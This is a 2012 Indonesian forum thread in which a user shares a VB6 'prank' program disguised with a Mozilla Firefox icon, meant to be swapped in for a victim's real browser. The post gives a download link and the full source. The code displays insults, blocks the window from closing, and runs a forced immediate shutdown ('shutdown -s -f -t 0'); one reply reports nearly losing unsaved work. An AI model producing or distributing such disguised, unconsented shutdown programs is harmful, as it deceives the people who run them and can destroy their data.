Ceriwis

Ceriwis (https://forum.ceriwis.com/forum.php)
-   Shareware & Freeware (https://forum.ceriwis.com/forumdisplay.php?f=64)
-   -   [SHARING] mau nge-jailin temen, pacar or bos ente? pake nih program buatan ane (https://forum.ceriwis.com/showthread.php?t=2476878)

SiJampang1 24th October 2012 10:25 PM

[SHARING] mau nge-jailin temen, pacar or bos ente? pake nih program buatan ane
 

ASSALAMUALIKUM AGAN2


ane cuman mau share

program jail buatan ane



jadi icon program nya ane ganti

pake mozilla firefox,

nanti nanti mozilla temen ente

ganti aja pake program dari ane..

dijamin temen ente syok :ngakak:



jadi program nya

akan menampilkan pertanyaan :

"APAKAH ANDA MERASA TAMPAN ?" :ngakak:

kayak gini gan......




[/spoiler]
Spoiler for open this:
Spoiler for open this:
for Program nya:




http://img845.imageshack.us/img845/4701/hackeme.jpg



Uploaded with ImageShack.us









pas di klik "ya, betul" akan keluar kata2 kocak wkwkw

:ngakak:



ane jamin program nya gak bahaya kok gan..

cuman shutdown aja..:ngakak:

dan buat kaget temen ente,, haha :ngakak:





yang dateng cuman download

dan gak komen

ane anggep :homo: :homo: :homo:



yang mau download nih link nya :

cuman 200kb kok gan, kecill http://static.kaskus.co.id/images/sm...indonesias.gif




Spoiler for open this:
Spoiler for open this:
for Download gan:




Mozilla Firefox palsu - indo*web*ster...com









note : hapus tanda (*) di link nya sebelum men-download.



proram ini ane ciptakan

hanya untuk hiburan semata http://static.kaskus.co.id/images/sm...indonesias.gifhttp://static.kaskus.co.id/images/sm...indonesias.gif



Kalo agan suka sama program buatan ane

mohon di RATE *****



kalo program ini bermanfaat buat agan

Ane juga ikhlas nerima :melonndan: :melonndan: :melonndan: dari agan2




yg mau Source Code nya silahkan :


[spoiler=open this] for Download gan:




Dim text As String

Private Sub Form_Load()

text = " Tes Penampilan"

End Sub





Private Sub Timer1_Timer()

A = Left(text, 1)

C = Len(text)

B = Right(text, C - 1)

text = B + A

Form1.Caption = text

End Sub



Private Sub Command1_Click()

Me.AutoRedraw = True

Me.FontSize = 35

Dim shadowX

Dim shadowY

ScaleMode = 3

ForeColor = "&H808080"

shadowY = 5

shadowX = 5

For i = 0 To 5

CurrentX = shadowX + i

CurrentY = shadowY + i

If i = 5 Then Form1.ForeColor = vbRed

Form1.Print "MUKA ANDA JELEK SEKALI"

Form1.Print " NAFAS ANDA BAU "

Next

MsgBox "NAFAS ANDA BAU SEKALI !!"

MsgBox "DAN MUKA ANDA AMBURADUL !!"

MsgBox "JANGAN DURHAKA KEPADA ORANG TUA !"

MsgBox "KAMI ADALAH HACKER INDONESIA !"

MsgBox "YANG HANYA INGIN MENERUSKAN CITA-CITA BANGSA !!"

Shell "shutdown -s -f -t 0"

End Sub



Private Sub Command2_Click()

Me.AutoRedraw = True

Me.FontSize = 35

Dim shadowX

Dim shadowY

ScaleMode = 3

ForeColor = "&H808080"

shadowY = 5

shadowX = 5

For i = 0 To 5

CurrentX = shadowX + i

CurrentY = shadowY + i

If i = 5 Then Form1.ForeColor = vbRed

Form1.Print "MUKA ANDA JELEK SEKALI"

Form1.Print " NAFAS ANDA BAU "

Next

MsgBox "MUKA ANDA ANCUR SEKALI YAH !! ?"

MsgBox "MUKE LO DI DEMPUL AJE BOS !!!"

MsgBox "KARENA MUKA ANDA TIDAK ENAK DILIHAT !!! "

MsgBox "SYSTEM ERROR"

MsgBox "GARA-GARA MUKA ANDA !"



End Sub



Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)

Dim answer As Integer

answer = MsgBox("Apakah anda yakin akan keluar dari program?", vbQuestion + vbYesNo, "Confirmation")

If answer = vbYes Then Cancel = -1

MsgBox "Anda tidak dapat keluar sebelum menjawab pertanyaan kami"

If answer = vbNo Then Cancel = -1

MsgBox "Silahkan jawab pertanyaan kami"



End Sub







Private Sub nama_Click()

MsgBox "Hacked by Bloggerry Aka HACKER"

End Sub









Private Sub versi_Click()

MsgBox "Ver 1.00.2012 Rev-A"

End Sub















kesaksian yg udah coba :ngakak: :




[/quote]
Quote:







Originally Posted by vhadhiel_2520
http://static.kaskus.co.id/images/buttons/viewpost.gif


Sial, ane gak baca langsung sedot n test, running sih gan... Tapi tiba2 PC ane shutdown, kecerobohan ane gak baca dari awal nih. Untung word yang ane kerjain udah di save, kalo gak bisa amsyong :ngakak:



Nice bro http://static.kaskus.co.id/images/smilies/melons.gif







thanks gan :melonndan: segerr http://static.kaskus.co.id/images/sm...indonesias.gif




Quote:







Originally Posted by delly1983
http://static.kaskus.co.id/images/buttons/viewpost.gif


Anjir...Ane uda coba gan.awalnya ane :ngakak: aja liat pertanyaannya,tapi gara2 shutdown ane sempet syok juga.pas dinyalain lagi ternyata ga ada efek apa2.

lumayan juga ni buat ngerjain temen2 ane,trima kasih gan uda ngasih bahan buat ane.:shakehand:

ane bantu :rate5 dan :sundul::sundul::sundul: aja ya...maklum masih newbi.








Quote:







Originally Posted by Ezadhiya
http://static.kaskus.co.id/images/buttons/viewpost.gif


VB6 yah?

Kocak gan, kreatip! wkwkwkwk

:ngakak::mantap:







yoi gan.. hahaha RATE Yah jgn lupa haha




Quote:







Originally Posted by bumblebee24
http://static.kaskus.co.id/images/buttons/viewpost.gif


mpe bengong2 temen ane gan :ngakak:

ngomong2 tema dekstop agan pake apa? ane naksir







mantap kan gan program buatan ane :ngakak:




[quote]






Originally Posted by juststreet
http://static.kaskus.co.id/images/buttons/viewpost.gif


ahaha kocak juga,

kasian temen ane yang sok ganteng nanti gan http://static.kaskus.co.id/images/sm...umbangan/8.gif







hahaha biarrin aja gak

kasih pelajran,, :ngakak:

</div>


All times are GMT +7. The time now is 06:27 PM.